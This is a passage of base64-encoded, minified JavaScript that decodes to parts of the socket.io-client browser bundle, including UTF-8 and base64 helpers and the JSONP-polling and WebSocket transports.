krNjU1MzYpOihyLnB1c2goZSksby0tKSk6ci5wdXNoKGUpO3JldHVybiByfWZ1bmN0aW9uIGEodCl7Zm9yKHZhciBlLG49dC5sZW5ndGgscj0tMSxvPSIiOysrcjxuOyllPXRbcl0sZT42NTUzNSYmKGUtPTY1NTM2LG8rPXcoZT4+PjEwJjEwMjN8NTUyOTYpLGU9NTYzMjB8MTAyMyZlKSxvKz13KGUpO3JldHVybiBvfWZ1bmN0aW9uIGModCxlKXtpZih0Pj01NTI5NiYmdDw9NTczNDMpe2lmKGUpdGhyb3cgRXJyb3IoIkxvbmUgc3Vycm9nYXRlIFUrIit0LnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpKyIgaXMgbm90IGEgc2NhbGFyIHZhbHVlIik7cmV0dXJuITF9cmV0dXJuITB9ZnVuY3Rpb24gcCh0LGUpe3JldHVybiB3KHQ+PmUmNjN8MTI4KX1mdW5jdGlvbiB1KHQsZSl7aWYoMD09KDQyOTQ5NjcxNjgmdCkpcmV0dXJuIHcodCk7dmFyIG49IiI7cmV0dXJuIDA9PSg0Mjk0OTY1MjQ4JnQpP249dyh0Pj42JjMxfDE5Mik6MD09KDQyOTQ5MDE3NjAmdCk/KGModCxlKXx8KHQ9NjU1MzMpLG49dyh0Pj4xMiYxNXwyMjQpLG4rPXAodCw2KSk6MD09KDQyOTI4NzAxNDQmdCkmJihuPXcodD4+MTgmN3wyNDApLG4rPXAodCwxMiksbis9cCh0LDYpKSxuKz13KDYzJnR8MTI4KX1mdW5jdGlvbiBoKHQsZSl7ZT1lfHx7fTtmb3IodmFyIG4scj0hMSE9PWUuc3RyaWN0LG89cyh0KSxpPW8ubGVuZ3RoLGE9LTEsYz0iIjsrK2E8aTspbj1vW2FdLGMrPXUobixyKTtyZXR1cm4gY31mdW5jdGlvbiBmKCl7aWYoYj49dil0aHJvdyBFcnJvcigiSW52YWxpZCBieXRlIGluZGV4Iik7dmFyIHQ9MjU1JmdbYl07aWYoYisrLDEyOD09KDE5MiZ0KSlyZXR1cm4gNjMmdDt0aHJvdyBFcnJvcigiSW52YWxpZCBjb250aW51YXRpb24gYnl0ZSIpfWZ1bmN0aW9uIGwodCl7dmFyIGUsbixyLG8saTtpZihiPnYpdGhyb3cgRXJyb3IoIkludmFsaWQgYnl0ZSBpbmRleCIpO2lmKGI9PXYpcmV0dXJuITE7aWYoZT0yNTUmZ1tiXSxiKyssMD09KDEyOCZlKSlyZXR1cm4gZTtpZigxOTI9PSgyMjQmZSkpe2lmKG49ZigpLGk9KDMxJmUpPDw2fG4saT49MTI4KXJldHVybiBpO3Rocm93IEVycm9yKCJJbnZhbGlkIGNvbnRpbnVhdGlvbiBieXRlIil9aWYoMjI0PT0oMjQwJmUpKXtpZihuPWYoKSxyPWYoKSxpPSgxNSZlKTw8MTJ8bjw8NnxyLGk+PTIwNDgpcmV0dXJuIGMoaSx0KT9pOjY1NTMzO3Rocm93IEVycm9yKCJJbnZhbGlkIGNvbnRpbnVhdGlvbiBieXRlIil9aWYoMjQwPT0oMjQ4JmUpJiYobj1mKCkscj1mKCksbz1mKCksaT0oNyZlKTw8MTh8bjw8MTJ8cjw8NnxvLGk+PTY1NTM2JiZpPD0xMTE0MTExKSlyZXR1cm4gaTt0aHJvdyBFcnJvcigiSW52YWxpZCBVVEYtOCBkZXRlY3RlZCIpfWZ1bmN0aW9uIGQodCxlKXtlPWV8fHt9O3ZhciBuPSExIT09ZS5zdHJpY3Q7Zz1zKHQpLHY9Zy5sZW5ndGgsYj0wO2Zvcih2YXIgcixvPVtdOyhyPWwobikpIT09ITE7KW8ucHVzaChyKTtyZXR1cm4gYShvKX12YXIgeT0ib2JqZWN0Ij09dHlwZW9mIGUmJmUsbT0oIm9iamVjdCI9PXR5cGVvZiB0JiZ0JiZ0LmV4cG9ydHM9PXkmJnQsIm9iamVjdCI9PXR5cGVvZiBvJiZvKTttLmdsb2JhbCE9PW0mJm0ud2luZG93IT09bXx8KGk9bSk7dmFyIGcsdixiLHc9U3RyaW5nLmZyb21DaGFyQ29kZSxrPXt2ZXJzaW9uOiIyLjEuMiIsZW5jb2RlOmgsZGVjb2RlOmR9O3I9ZnVuY3Rpb24oKXtyZXR1cm4ga30uY2FsbChlLG4sZSx0KSwhKHZvaWQgMCE9PXImJih0LmV4cG9ydHM9cikpfSh0aGlzKX0pLmNhbGwoZSxuKDI3KSh0KSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlKXt0LmV4cG9ydHM9ZnVuY3Rpb24odCl7cmV0dXJuIHQud2VicGFja1BvbHlmaWxsfHwodC5kZXByZWNhdGU9ZnVuY3Rpb24oKXt9LHQucGF0aHM9W10sdC5jaGlsZHJlbj1bXSx0LndlYnBhY2tQb2x5ZmlsbD0xKSx0fX0sZnVuY3Rpb24odCxlKXshZnVuY3Rpb24oKXsidXNlIHN0cmljdCI7Zm9yKHZhciB0PSJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvIixuPW5ldyBVaW50OEFycmF5KDI1Nikscj0wO3I8dC5sZW5ndGg7cisrKW5bdC5jaGFyQ29kZUF0KHIpXT1yO2UuZW5jb2RlPWZ1bmN0aW9uKGUpe3ZhciBuLHI9bmV3IFVpbnQ4QXJyYXkoZSksbz1yLmxlbmd0aCxpPSIiO2ZvcihuPTA7bjxvO24rPTMpaSs9dFtyW25dPj4yXSxpKz10WygzJnJbbl0pPDw0fHJbbisxXT4+NF0saSs9dFsoMTUmcltuKzFdKTw8MnxyW24rMl0+PjZdLGkrPXRbNjMmcltuKzJdXTtyZXR1cm4gbyUzPT09Mj9pPWkuc3Vic3RyaW5nKDAsaS5sZW5ndGgtMSkrIj0iOm8lMz09PTEmJihpPWkuc3Vic3RyaW5nKDAsaS5sZW5ndGgtMikrIj09IiksaX0sZS5kZWNvZGU9ZnVuY3Rpb24odCl7dmFyIGUscixvLGkscyxhPS43NSp0Lmxlbmd0aCxjPXQubGVuZ3RoLHA9MDsiPSI9PT10W3QubGVuZ3RoLTFdJiYoYS0tLCI9Ij09PXRbdC5sZW5ndGgtMl0mJmEtLSk7dmFyIHU9bmV3IEFycmF5QnVmZmVyKGEpLGg9bmV3IFVpbnQ4QXJyYXkodSk7Zm9yKGU9MDtlPGM7ZSs9NClyPW5bdC5jaGFyQ29kZUF0KGUpXSxvPW5bdC5jaGFyQ29kZUF0KGUrMSldLGk9blt0LmNoYXJDb2RlQXQoZSsyKV0scz1uW3QuY2hhckNvZGVBdChlKzMpXSxoW3ArK109cjw8MnxvPj40LGhbcCsrXT0oMTUmbyk8PDR8aT4+MixoW3ArK109KDMmaSk8PDZ8NjMmcztyZXR1cm4gdX19KCl9LGZ1bmN0aW9uKHQsZSl7KGZ1bmN0aW9uKGUpe2Z1bmN0aW9uIG4odCl7Zm9yKHZhciBlPTA7ZTx0Lmxlbmd0aDtlKyspe3ZhciBuPXRbZV07aWYobi5idWZmZXIgaW5zdGFuY2VvZiBBcnJheUJ1ZmZlcil7dmFyIHI9bi5idWZmZXI7aWYobi5ieXRlTGVuZ3RoIT09ci5ieXRlTGVuZ3RoKXt2YXIgbz1uZXcgVWludDhBcnJheShuLmJ5dGVMZW5ndGgpO28uc2V0KG5ldyBVaW50OEFycmF5KHIsbi5ieXRlT2Zmc2V0LG4uYnl0ZUxlbmd0aCkpLHI9by5idWZmZXJ9dFtlXT1yfX19ZnVuY3Rpb24gcih0LGUpe2U9ZXx8e307dmFyIHI9bmV3IGk7bih0KTtmb3IodmFyIG89MDtvPHQubGVuZ3RoO28rKylyLmFwcGVuZCh0W29dKTtyZXR1cm4gZS50eXBlP3IuZ2V0QmxvYihlLnR5cGUpOnIuZ2V0QmxvYigpfWZ1bmN0aW9uIG8odCxlKXtyZXR1cm4gbih0KSxuZXcgQmxvYih0LGV8fHt9KX12YXIgaT1lLkJsb2JCdWlsZGVyfHxlLldlYktpdEJsb2JCdWlsZGVyfHxlLk1TQmxvYkJ1aWxkZXJ8fGUuTW96QmxvYkJ1aWxkZXIscz1mdW5jdGlvbigpe3RyeXt2YXIgdD1uZXcgQmxvYihbImhpIl0pO3JldHVybiAyPT09dC5zaXplfWNhdGNoKGUpe3JldHVybiExfX0oKSxhPXMmJmZ1bmN0aW9uKCl7dHJ5e3ZhciB0PW5ldyBCbG9iKFtuZXcgVWludDhBcnJheShbMSwyXSldKTtyZXR1cm4gMj09PXQuc2l6ZX1jYXRjaChlKXtyZXR1cm4hMX19KCksYz1pJiZpLnByb3RvdHlwZS5hcHBlbmQmJmkucHJvdG90eXBlLmdldEJsb2I7dC5leHBvcnRzPWZ1bmN0aW9uKCl7cmV0dXJuIHM/YT9lLkJsb2I6bzpjP3I6dm9pZCAwfSgpfSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpe2UuZW5jb2RlPWZ1bmN0aW9uKHQpe3ZhciBlPSIiO2Zvcih2YXIgbiBpbiB0KXQuaGFzT3duUHJvcGVydHkobikmJihlLmxlbmd0aCYmKGUrPSImIiksZSs9ZW5jb2RlVVJJQ29tcG9uZW50KG4pKyI9IitlbmNvZGVVUklDb21wb25lbnQodFtuXSkpO3JldHVybiBlfSxlLmRlY29kZT1mdW5jdGlvbih0KXtmb3IodmFyIGU9e30sbj10LnNwbGl0KCImIikscj0wLG89bi5sZW5ndGg7cjxvO3IrKyl7dmFyIGk9bltyXS5zcGxpdCgiPSIpO2VbZGVjb2RlVVJJQ29tcG9uZW50KGlbMF0pXT1kZWNvZGVVUklDb21wb25lbnQoaVsxXSl9cmV0dXJuIGV9fSxmdW5jdGlvbih0LGUpe3QuZXhwb3J0cz1mdW5jdGlvbih0LGUpe3ZhciBuPWZ1bmN0aW9uKCl7fTtuLnByb3RvdHlwZT1lLnByb3RvdHlwZSx0LnByb3RvdHlwZT1uZXcgbix0LnByb3RvdHlwZS5jb25zdHJ1Y3Rvcj10fX0sZnVuY3Rpb24odCxlKXsidXNlIHN0cmljdCI7ZnVuY3Rpb24gbih0KXt2YXIgZT0iIjtkbyBlPXNbdCVhXStlLHQ9TWF0aC5mbG9vcih0L2EpO3doaWxlKHQ+MCk7cmV0dXJuIGV9ZnVuY3Rpb24gcih0KXt2YXIgZT0wO2Zvcih1PTA7dTx0Lmxlbmd0aDt1KyspZT1lKmErY1t0LmNoYXJBdCh1KV07cmV0dXJuIGV9ZnVuY3Rpb24gbygpe3ZhciB0PW4oK25ldyBEYXRlKTtyZXR1cm4gdCE9PWk/KHA9MCxpPXQpOnQrIi4iK24ocCsrKX1mb3IodmFyIGkscz0iMDEyMzQ1Njc4OUFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXotXyIuc3BsaXQoIiIpLGE9NjQsYz17fSxwPTAsdT0wO3U8YTt1KyspY1tzW3VdXT11O28uZW5jb2RlPW4sby5kZWNvZGU9cix0LmV4cG9ydHM9b30sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbihlKXtmdW5jdGlvbiByKCl7fWZ1bmN0aW9uIG8odCl7aS5jYWxsKHRoaXMsdCksdGhpcy5xdWVyeT10aGlzLnF1ZXJ5fHx7fSxhfHwoZS5fX19laW98fChlLl9fX2Vpbz1bXSksYT1lLl9fX2VpbyksdGhpcy5pbmRleD1hLmxlbmd0aDt2YXIgbj10aGlzO2EucHVzaChmdW5jdGlvbih0KXtuLm9uRGF0YSh0KX0pLHRoaXMucXVlcnkuaj10aGlzLmluZGV4LGUuZG9jdW1lbnQmJmUuYWRkRXZlbnRMaXN0ZW5lciYmZS5hZGRFdmVudExpc3RlbmVyKCJiZWZvcmV1bmxvYWQiLGZ1bmN0aW9uKCl7bi5zY3JpcHQmJihuLnNjcmlwdC5vbmVycm9yPXIpfSwhMSl9dmFyIGk9bigyMCkscz1uKDMxKTt0LmV4cG9ydHM9bzt2YXIgYSxjPS9cbi9nLHA9L1xcbi9nO3MobyxpKSxvLnByb3RvdHlwZS5zdXBwb3J0c0JpbmFyeT0hMSxvLnByb3RvdHlwZS5kb0Nsb3NlPWZ1bmN0aW9uKCl7dGhpcy5zY3JpcHQmJih0aGlzLnNjcmlwdC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHRoaXMuc2NyaXB0KSx0aGlzLnNjcmlwdD1udWxsKSx0aGlzLmZvcm0mJih0aGlzLmZvcm0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0aGlzLmZvcm0pLHRoaXMuZm9ybT1udWxsLHRoaXMuaWZyYW1lPW51bGwpLGkucHJvdG90eXBlLmRvQ2xvc2UuY2FsbCh0aGlzKX0sby5wcm90b3R5cGUuZG9Qb2xsPWZ1bmN0aW9uKCl7dmFyIHQ9dGhpcyxlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3RoaXMuc2NyaXB0JiYodGhpcy5zY3JpcHQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0aGlzLnNjcmlwdCksdGhpcy5zY3JpcHQ9bnVsbCksZS5hc3luYz0hMCxlLnNyYz10aGlzLnVyaSgpLGUub25lcnJvcj1mdW5jdGlvbihlKXt0Lm9uRXJyb3IoImpzb25wIHBvbGwgZXJyb3IiLGUpfTt2YXIgbj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF07bj9uLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGUsbik6KGRvY3VtZW50LmhlYWR8fGRvY3VtZW50LmJvZHkpLmFwcGVuZENoaWxkKGUpLHRoaXMuc2NyaXB0PWU7dmFyIHI9InVuZGVmaW5lZCIhPXR5cGVvZiBuYXZpZ2F0b3ImJi9nZWNrby9pLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCk7ciYmc2V0VGltZW91dChmdW5jdGlvbigpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodCksZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZCh0KX0sMTAwKX0sby5wcm90b3R5cGUuZG9Xcml0ZT1mdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4oKXtyKCksZSgpfWZ1bmN0aW9uIHIoKXtpZihvLmlmcmFtZSl0cnl7by5mb3JtLnJlbW92ZUNoaWxkKG8uaWZyYW1lKX1jYXRjaCh0KXtvLm9uRXJyb3IoImpzb25wIHBvbGxpbmcgaWZyYW1lIHJlbW92YWwgZXJyb3IiLHQpfXRyeXt2YXIgZT0nPGlmcmFtZSBzcmM9ImphdmFzY3JpcHQ6MCIgbmFtZT0iJytvLmlmcmFtZUlkKyciPic7aT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGUpfWNhdGNoKHQpe2k9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIiksaS5uYW1lPW8uaWZyYW1lSWQsaS5zcmM9ImphdmFzY3JpcHQ6MCJ9aS5pZD1vLmlmcmFtZUlkLG8uZm9ybS5hcHBlbmRDaGlsZChpKSxvLmlmcmFtZT1pfXZhciBvPXRoaXM7aWYoIXRoaXMuZm9ybSl7dmFyIGkscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIiksYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0ZXh0YXJlYSIpLHU9dGhpcy5pZnJhbWVJZD0iZWlvX2lmcmFtZV8iK3RoaXMuaW5kZXg7cy5jbGFzc05hbWU9InNvY2tldGlvIixzLnN0eWxlLnBvc2l0aW9uPSJhYnNvbHV0ZSIscy5zdHlsZS50b3A9Ii0xMDAwcHgiLHMuc3R5bGUubGVmdD0iLTEwMDBweCIscy50YXJnZXQ9dSxzLm1ldGhvZD0iUE9TVCIscy5zZXRBdHRyaWJ1dGUoImFjY2VwdC1jaGFyc2V0IiwidXRmLTgiKSxhLm5hbWU9ImQiLHMuYXBwZW5kQ2hpbGQoYSksZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKSx0aGlzLmZvcm09cyx0aGlzLmFyZWE9YX10aGlzLmZvcm0uYWN0aW9uPXRoaXMudXJpKCkscigpLHQ9dC5yZXBsYWNlKHAsIlxcXG4iKSx0aGlzLmFyZWEudmFsdWU9dC5yZXBsYWNlKGMsIlxcbiIpO3RyeXt0aGlzLmZvcm0uc3VibWl0KCl9Y2F0Y2goaCl7fXRoaXMuaWZyYW1lLmF0dGFjaEV2ZW50P3RoaXMuaWZyYW1lLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpeyJjb21wbGV0ZSI9PT1vLmlmcmFtZS5yZWFkeVN0YXRlJiZuKCl9OnRoaXMuaWZyYW1lLm9ubG9hZD1ufX0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbihlKXtmdW5jdGlvbiByKHQpe3ZhciBlPXQmJnQuZm9yY2VCYXNlNjQ7ZSYmKHRoaXMuc3VwcG9ydHNCaW5hcnk9ITEpLHRoaXMucGVyTWVzc2FnZURlZmxhdGU9dC5wZXJNZXNzYWdlRGVmbGF0ZSx0aGlzLnVzaW5nQnJvd3NlcldlYlNvY2tldD1oJiYhdC5mb3JjZU5vZGUsdGhpcy5wcm90b2NvbHM9dC5wcm90b2NvbHMsdGhpcy51c2luZ0Jyb3dzZXJXZWJTb2NrZXR8fChsPW8pLGkuY2FsbCh0aGlzLHQpfXZhciBvLGk9bigyMSkscz1uKDIyKSxhPW4oMzApLGM9bigzMSkscD1uKDMyKSx1PW4oMykoImVuZ2luZS5pby1jbGllbnQ6d2Vic29ja2V0IiksaD1lLldlYlNvY2tldHx8ZS5Nb3pXZWJTb2NrZXQ7aWYoInVuZGVmaW5lZCI9PXR5cGVvZiB3aW5kb3cpdHJ5e289bigzNSl9Y2F0Y2goZil7fXZhciBsPWg7bHx8InVuZGVmaW5lZCIhPXR5cGVvZiB3aW5kb3d8fChsPW8pLHQuZXhwb3J0cz1yLGMocixpKSxyLnByb3RvdHlwZS5uYW1lPSJ3ZWJzb2NrZXQiLHIucHJvdG90eXBlLnN1cHBvcnRzQmluYXJ5PSEwLHIucHJvdG90eXBlLmRvT3Blbj1mdW5jdGlvbigpe2lmKHRoaXMuY2hlY2soKSl7dmFyIHQ9dGhpcy51cmkoKSxlPXRoaXMucHJvdG9jb2xzLG49e2FnZW50OnRoaXMuYWdlbnQscGVyTWVzc2FnZURlZmxhdGU6dGhpcy5wZXJNZXNzYWdlRGVmbGF0ZX07bi5wZng9dGhpcy5wZngsbi5rZXk9dGhpcy5rZXksbi5wYXNzcGhyYXNlPXRoaXMucGFzc3BocmFzZSxuLmNlcnQ9dGhpcy5jZXJ0LG4uY2E9dGhpcy5jYSxuLmNpcGhlcnM9dGhpcy5jaXBoZXJzLG4ucmVqZWN0VW5hdXRob3JpemVkPXRoaXMucmVqZWN0VW5hdXRob3JpemVkLHRoaXMuZXh0cmFIZWFkZXJzJiYobi5oZWFkZXJzPXRoaXMuZXh0cmFIZWFkZXJzKSx0aGlzLmxvY2FsQWRkcmVzcyYmKG4ubG9jYWxBZGRyZXNzPXRoaXMubG9jYWxBZGRyZXNzKTt0cnl7dGhpcy53cz10aGlzLnVzaW5nQnJvd3NlcldlYlNvY2tldD9lP25ldyBsKHQsZSk6bmV3IGwodCk6bmV3IGwodCxlLG4pfWNhdGNoKHIpe3JldHVybiB0aGlzLmVtaXQoImVycm9yIixyKX12b2lkIDA9PT10aGlzLndzLmJpbmFyeVR5cGUmJih0aGlzLnN1cHBvcnRzQmluYXJ5PSExKSx0aGlzLndzLnN1cHBvcnRzJiZ0aGlzLndzLnN1cHBvcnRzLmJpbmFyeT8odGhpcy5zdXBwb3J0c0JpbmFyeT0hMCx0aGlzLndzLmJpbmFyeVR5cGU9Im5vZGVidWZmZXIiKTp0aGlzLndzLmJpbmFyeVR5cGU9ImFycmF5YnVmZmVyIix0aGlzLmFkZEV2ZW50TGlzdGVuZXJzKCl9fSxyLnByb3RvdHlwZS5hZGRFdmVudExpc3RlbmVycz1mdW5jdGlvbigpe3ZhciB0PXRoaXM7dGhpcy53cy5vbm9wZW49ZnVuY3Rpb24oKXt0Lm9uT3BlbigpfSx0aGlzLndzLm9uY2xvc2U9ZnVuY3Rpb24oKXt0Lm9uQ2xvc2UoKX0sdGhpcy53cy5vbm1lc3NhZ2U9ZnVuY3Rpb24oZSl7dC5vbkRhdGEoZS5kYXRhKX0sdGhpcy53cy5vbmVycm9yPWZ1bmN0aW9uKGUpe3Qub25FcnJvcigid2Vic29ja2V0IGVycm9yIixlKX19LHIucHJvdG90eXBlLndyaXRlPWZ1bmN0aW9uKHQpe2Z1bmN0aW9uIG4oKXtyLmVtaXQoImZsdXNoIiksc2V0VGltZW91dChmdW5jdGlvbigpe3Iud3JpdGFibGU9ITAsci5lbWl0KCJkcmFpbiIpfSwwKX12YXIgcj10aGlzO3RoaXMud3JpdGFibGU9ITE7Zm9yKHZhciBvPXQubGVuZ3RoLGk9MCxhPW87aTxhO2krKykhZnVuY3Rpb24odCl7cy5lbmNvZGVQYWNrZXQodCxyLnN1cHBvcnRzQmluYXJ5LGZ1bmN0aW9uKGkpe2lmKCFyLnVzaW5nQnJvd3NlcldlYlNvY2tldCl7dmFyIHM9e307aWYodC5vcHRpb25zJiYocy5jb21wcmVzcz10Lm9wdGlvbnMuY29tcHJlc3MpLHIucGVyTWVzc2FnZURlZmxhdGUpe3ZhciBhPSJzdHJpbmciPT10eXBlb2YgaT9lLkJ1ZmZlci5ieXRlTGVuZ3RoKGkpOmkubGVuZ3RoO2E8ci5wZXJNZXNzYWdlRGVmbGF0ZS50aHJlc2hvbGQmJihzLmNvbXByZXNzPSExKX19dHJ5e3IudXNpbmdCcm93c2VyV2ViU29ja2V0P3Iud3Muc2VuZChpKTpyLndzLnNlbmQoaSxzKX1jYXRjaChjKXt1KCJ3ZWJzb2NrZXQgY2xvc2VkIGJlZm9yZSBvbmNsb3NlIGV2ZW50Iil9LS1vfHxuKCl9KX0odFtpXSl9LHIucHJvdG90eXBlLm9uQ2xvc2U9ZnVuY3Rpb24oKXtpLnByb3RvdHlwZS5vbkNsb3NlLmNhbGwodGhpcyl9LHIucHJvdG90eXBlLmRvQ2xvc2U9ZnVuY3Rpb24oKXsidW5kZWZpbmVkIiE9dHlwZW9mIHRoaXMud3MmJnRoaXMud3MuY2xvc2UoKX0sci5wcm90b3R5cGUudXJpPWZ1bmN0aW9uKCl7dmFyIHQ9dGhpcy5xdWVyeXx8e30sZT10aGlzLnNlY3VyZT8id3NzIjoid3MiLG49IiI7dGhpcy5wb3J0JiYoIndzcyI9PT1lJiY0NDMhPT1OdW1iZXIodGhpcy5wb3J0KXx8IndzIj09PWUmJjgwIT09TnVtYmVyKHRoaXMucG9ydCkpJiYobj0iOiIrdGhpcy5wb3J0KSx0aGlzLnRpbWVzdGFtcFJlcXVlc3RzJiYodFt0aGlzLnRpbWVzdGFtcFBhcmFtXT1wKCkpLHRoaXMuc3VwcG9ydHNCaW5hcnl8fCh0LmI2ND0xKSx0PWEuZW5jb2RlKHQpLHQubGVuZ3RoJiYodD0iPyIrdCk7dmFyIHI9dGhpcy5ob3N0bmFtZS5pbmRleE9mKCI6IikhPT0tMTtyZXR1cm4gZSsiOi8vIisocj8iWyIrdGhpcy5ob3N0bmFtZSsiXSI6dGhpcy5ob3N0bmFtZSkrbit0aGlzLnBhdGgrdH0sci5wcm90b3R5cGUuY2hlY2s9ZnVuY3Rpb24oKXtyZXR1cm4hKCFsfHwiX19pbml0aWFsaXplImluIGwmJnRoaXMubmFtZT09PXIucHJvdG90eXBlLm5hbWUpfX0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlKXt9LGZ1bmN0aW9uKHQsZSl7dmFyIG49W10uaW5kZXhPZjt0LmV4cG9ydHM9ZnVuY3Rpb24odCxlKXtpZihuKXJldHVybiB0LmluZGV4T2YoZSk7Zm9yKHZhciByPTA7cjx0Lmxlbmd0aDsrK3IpaWYodFtyXT09PWUpcmV0dXJuIHI7cmV0dXJuLTF9fSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIHIodCxlLG4pe3RoaXMuaW89dCx0aGlzLm5zcD1lLHRoaXMuanNvbj10aGlzLHRoaXMuaWRzPTAsdGhpcy5hY2tzPXt9LHRoaXMucmVjZWl2ZUJ1ZmZlcj1bXSx0aGlzLnNlbmRCdWZmZXI9W10sdGhpcy5jb25uZWN0ZWQ9ITEsdGhpcy5kaXNjb25uZWN0ZWQ9ITAsbiYmbi5xdWVyeSYmKHRoaXMucXVlcnk9bi5xdWVyeSksdGhpcy5pby5hdXRvQ29ubmVjdCYmdGhpcy5vcGVuKCl9dmFyIG89ImZ1bmN0aW9uIj09dHlwZW9mIFN5bWJvbCYmInN5bWJvbCI9PXR5cGVvZiBTeW1ib2wuaXRlcmF0b3I/ZnVuY3Rpb24odCl7cmV0dXJuIHR5cGVvZiB0fTpmdW5jdGlvbih0KXtyZXR1cm4gdCYmImZ1bmN0aW9uIj09dHlwZW9mIFN5bWJvbCYmdC5jb25zdHJ1Y3Rvcj09PVN5bWJvbCYmdCE9PVN5bWJvbC5wcm90b3R5cGU/InN5bWJvbCI6dHlwZW9mIHR9LGk9big3KSxzPW4oOCksYT1uKDM4KSxjPW4oMzkpLHA9big0MCksdT1uKDMpKCJzb2NrZXQuaW8tY2xpZW50OnNvY2tldCIpLGg9bigzMCk7dC5leHBvcnRzPWU9cjt2YXIgZj17Y29ubmVjdDoxLGNvbm5lY3RfZXJyb3I6MSxjb25uZWN0X3RpbWVvdXQ6MSxjb25uZWN0aW5nOjEsZGlzY29ubmVjdDoxLGVycm9yOjEscmVjb25uZWN0OjEscmVjb25uZWN0X2F0dGVtcHQ6MSxyZWNvbm5lY3RfZmFpbGVkOjEscmVjb25uZWN0X2Vycm9yOjEscmVjb25uZWN0aW5nOjEscGluZzoxLHBvbmc6MX0sbD1zLnByb3RvdHlwZS5lbWl0O3Moci5wcm90b3R5cGUpLHIucHJvdG90eXBlLnN1YkV2ZW50cz1mdW5jdGlvbigpe2lmKCF0aGlzLnN1YnMpe3ZhciB0PXRoaXMuaW87dGhpcy5zdWJzPVtjKHQsIm9wZW4iLHAodGhpcywib25vcGVuIikpLGModCwicGFja2V0IixwKHRoaXMsIm9ucGFja2V0IikpLGModCwiY2xvc2UiLHAodGhpcywib25jbG9zZSIpKV19fSxyLnByb3RvdHlwZS5vcGVuPXIucHJvdG90eXBlLmNvbm5lY3Q9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5jb25uZWN0ZWQ/dGhpczoodGhpcy5zdWJFdmVudHMoKSx0aGlzLmlvLm9wZW4oKSwib3BlbiI9PT10aGlzLmlvLnJlYWR5U3RhdGUmJnRoaXMub25vcGVuKCksdGhpcy5lbWl0KCJjb25uZWN0aW5nIiksdGhpcyl9LHIucHJvdG90eXBlLnNlbmQ9ZnVuY3Rpb24oKXt2YXIgdD1hKGFyZ3VtZW50cyk7cmV0dXJuIHQudW5zaGlmdCgibWVzc2FnZSIpLHRoaXMuZW1pdC5hcHBseSh0aGlzLHQpLHRoaXN9LHIucHJvdG90eXBlLmVtaXQ9ZnVuY3Rpb24odCl7aWYoZi5oYXNPd25Qcm9wZXJ0eSh0KSlyZXR1cm4gbC5hcHBseSh0aGlzLGFyZ3VtZW50cyksdGhpczt2YXIgZT1hKGFyZ3VtZW50cyksbj17dHlwZTppLkVWRU5ULGRhdGE6ZX07cmV0dXJuIG4ub3B0aW9ucz17fSxuLm9wdGlvbnMuY29tcHJlc3M9IXRoaXMuZmxhZ3N8fCExIT09dGhpcy5mbGFncy5jb21wcmVzcywiZnVuY3Rpb24iPT10eXBlb2YgZVtlLmxlbmd0aC0xXSYmKHUoImVtaXR0aW5nIHBhY2tldCB3aXRoIGFjayBpZCAlZCIsdGhpcy5pZHMpLHRoaXMuYWNrc1t0aGlzLmlkc109ZS5wb3AoKSxuLmlkPXRoaXMuaWRzKyspLHRoaXMuY29ubmVjdGVkP3RoaXMucGFja2V0KG4pOnRoaXMuc2VuZEJ1ZmZlci5wdXNoKG4pLGRlbGV0ZSB0aGlzLmZsYWdzLHRoaXN9LHIucHJvdG90eXBlLnBhY2tldD1mdW5jdGlvbih0KXt0Lm5zcD10aGlzLm5zcCx0aGlzLmlvLnBhY2tldCh0KX0sci5wcm90b3R5cGUub25vcGVuPWZ1bmN0aW9uKCl7aWYodSgidHJhbnNwb3J0IGlzIG9wZW4gLSBjb25uZWN0aW5nIiksIi8iIT09dGhpcy5uc3ApaWYodGhpcy5xdWVyeSl7dmFyIHQ9Im9iamVjdCI9PT1vKHRoaXMucXVlcnkpP2guZW5jb2RlKHRoaXMucXVlcnkpOnRoaXMucXVlcnk7dSgic2VuZGluZyBjb25uZWN0IHBhY2tldCB3aXRoIHF1ZXJ5ICVzIix0KSx0aGlzLnBhY2tldCh7dHlwZTppLkNPTk5FQ1QscXVlcnk6dH0pfWVsc2UgdGhpcy5wYWNrZXQoe3R5cGU6aS5DT05ORUNUfSl9LHIucHJvdG90eXBlLm9uY2xvc2U9ZnVuY3Rpb24odCl7dSgiY2xvc2UgKCVzKSIsdCksdGhpcy5jb25uZWN0ZWQ9ITEsdGhpcy5kaXNjb25uZWN0ZWQ9ITAsZGVsZXRlIHRoaXMuaWQsdGhpcy5